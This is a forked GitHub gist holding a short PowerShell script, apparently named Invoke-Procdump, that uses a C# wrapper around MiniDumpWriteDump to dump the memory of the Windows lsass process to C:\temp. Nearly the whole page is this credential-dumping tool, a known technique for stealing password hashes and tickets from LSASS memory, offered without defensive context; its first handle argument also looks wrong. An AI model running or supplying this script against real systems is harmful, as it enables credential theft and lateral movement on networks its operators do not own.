Skip to content

Instantly share code, notes, and snippets.

@jlawhon
Forked from dmaasland/Invoke-Procdump.ps1
Last active November 28, 2019 05:38
Show Gist options
  • Save jlawhon/faac02887526746aff468436dc54043d to your computer and use it in GitHub Desktop.
Save jlawhon/faac02887526746aff468436dc54043d to your computer and use it in GitHub Desktop.
$Source = @"
using System;
using System.Runtime.InteropServices;
namespace ProcDump {
public static class DbgHelp {
[DllImport("Dbghelp.dll")]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, IntPtr DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
}
"@
# Not sure why this test fails on my system:
# If (-Not "ProcDump" -as [Type]) {
Add-Type -TypeDefinition $Source
# }
$Process = [System.Diagnostics.Process]::GetProcessesByName("lsass")
$DumpPath = "C:\temp\$($Process.Name).dmp"
$DumpStream = [System.IO.FileStream]::new($DumpPath, [System.IO.FileMode]::Create)
$DumpType = [IntPtr]::new(2)
$Dump = [ProcDump.DbgHelp]::MiniDumpWriteDump($Process.Handles, $Process.Id, $DumpStream.Handle, $DumpType, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$DumpStream.Dispose()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment